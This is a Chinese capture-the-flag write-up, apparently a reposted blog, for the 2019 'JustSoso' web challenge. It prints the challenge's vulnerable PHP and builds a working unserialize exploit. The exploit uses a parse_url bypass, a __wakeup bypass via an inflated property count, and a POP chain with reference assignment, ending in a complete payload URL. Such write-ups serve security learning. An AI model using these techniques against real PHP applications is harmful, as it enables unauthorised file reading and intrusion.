2019全国大学生信息安全竞赛—Web

0x01 JustSoso

parse_url的解析漏洞
_wakeup()绕过
序列化pop链的构造
php引用赋值

打开页面后查看源代码:
在这里插入图片描述
提示为本地文件包含漏洞,查看index.php和hint.php.

index.php:

<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
  • 两个参数file和payload
  • file中正则匹配不能出现flag.
  • payload中将url分解成一些变量,$url[‘query’]就是?后面的参数和内容,也不能出现flag。
  • 验证后会文件包含file和反序列化payload内容。

hint.php

<?php    
class Handle{       
    private $handle;        
    public function __wakeup(){
            foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;         
            }          
            echo "Waking upn";      
    }
    public function __construct($handle) {           
        $this->handle = $handle;       
    }    
    public function __destruct(){    
        $this->handle->getFlag();   
    }  
}    
class Flag{      
    public $file;      
    public $token;      
    public $token_flag;         
    function __construct($file){    
        $this->file = $file;    
        $this->token_flag = $this->token = md5(rand(1,10000));      
    }         
    public function getFlag(){    
        $this->token_flag = md5(rand(1,10000));          
        if($this->token === $this->token_flag){     
            if(isset($this->file)){      
                echo @highlight_file($this->file,true);               
            }            
        }      
    }  
}
?>
  • 首先,index.php中的parse_url对参数进行验证是可以绕过的。这里用到parse_url的解析漏洞
    parse_url漏洞参考
  • 所以在index.php?file=&payload=改为index.php//?file=&payload=会把后面的query内容当作host内容。
  • 然后利用hint.php的类进行反序列化。

首先分析handle类:

class Handle{       
    private $handle;        
    public function __wakeup(){
            foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;         
            }          
            echo "Waking upn";      
    }
    public function __construct($handle) {           
        $this->handle = $handle;       
    }    
    public function __destruct(){    
        $this->handle->getFlag();   
    }  
}  
  • 当它实例化的时候会自动调用_construct(),我们可以让$handle赋值为一个实例化的Flag(),这样在类销毁的时候,会自动调用_destruct(),从而运行getFlag().
  • 注意的就是需要绕过_wakeup(),因为它会把赋值的$handle内容清空。
    _wakeup()绕过的方法

然后看一下Flag类:

class Flag{      
    public $file;      
    public $token;      
    public $token_flag;         
    function __construct($file){    
        $this->file = $file;    
        $this->token_flag = $this->token = md5(rand(1,10000));      
    }         
    public function getFlag(){    
        $this->token_flag = md5(rand(1,10000));          
        if($this->token === $this->token_flag){     
            if(isset($this->file)){      
                echo @highlight_file($this->file,true);               
            }            
        }      
    }  
}

可以实例化一个Flag(),给其中的file赋值为flag.php。

构造pop链
1,构造一个Flag类型得变量,传入参数为flag.php => $b = new Flag(“flag.php”);
2, 构造一个Handle类型得变量,使内部$handle指向$b,这样__destruct时就行触发执行getFlag函数。=>$a = new Handle($b);

  • payload
<?php
class Handle{
    private $handle;
    public function __construct($handle) {
        $this->handle = $handle;
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
    function __construct($file){
        $this->file = $file;
        //$this->token_flag = $this->token = md5(rand(1,10000));
    }
}
$a = new Flag("flag.php");
$b = new Handle($a);
echo serialize($b);
?>
  • 得到构造的序列化列:
    O:6:"Handle":1:{s:14:" Handle handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";N;}}
  • 为了绕过_wakeup,需要将Handle中属性的数量改变即可.如把1改为2.
    O:6:"Handle":2:{s:14:" Handle handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";N;}}
  • 然后最后一点,面对Flag类:
function __construct($file){    
        $this->file = $file;    
        $this->token_flag = $this->token = md5(rand(1,10000));      
    }         
    public function getFlag(){    
        $this->token_flag = md5(rand(1,10000));          
        if($this->token === $this->token_flag){     
            if(isset($this->file)){      
                echo @highlight_file($this->file,true);               
            }            
        }      
    }

它在创建的时候就会提前
$this->token_flag = $this->token = md5(rand(1,10000))
给token和token_flag赋值,然后在调用getFlag()函数的时候,又会给token_flag赋值,然后判断token和token_flag是否相等。 这里可以使用php的引用赋值来绕过。

原理:
a=1;
b=&a;
a=a+1;
那末最后b得值也会变为2,因为b是引用赋值。

所以,最后加上:

$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
  • 最终的payload为:
<?php
class Handle{       
    private $handle;        
    public function __wakeup(){
            foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;         
            }          
            echo "Waking upn";      
    }
    public function __construct($handle) {           
        $this->handle = $handle;       
    }    
    public function __destruct(){    
        $this->handle->getFlag();   
    }  
}    
class Flag{      
    public $file;      
    public $token;      
    public $token_flag;         
    function __construct($file){    
        $this->file = $file;    
        $this->token_flag = $this->token = md5(rand(1,10000));      
    }         
    public function getFlag(){       
        if(isset($this->file)){      
            echo @highlight_file($this->file,true);               
        }            
    }  
}


$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
echo(serialize($a));
?>

生成:
O:6:"Handle":1:{s:14:" Handle handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"44ac09ac6a149136a4102ee4b4103ae6";s:10:"token_flag";R:4;}}
其中Handle handle本来长度为12,但前面是14,因为当成员属性为private时,在序列化后,Handle字串前后会各有一个0x00。
0x00的url编码为%00,加上需要绕过_wakeup的方法,因此我们传参时要进行编码,最终payload为:
......//?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"44ac09ac6a149136a4102ee4b4103ae6";s:10:"token_flag";R:4;}}
最终:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43952190/article/details/106017130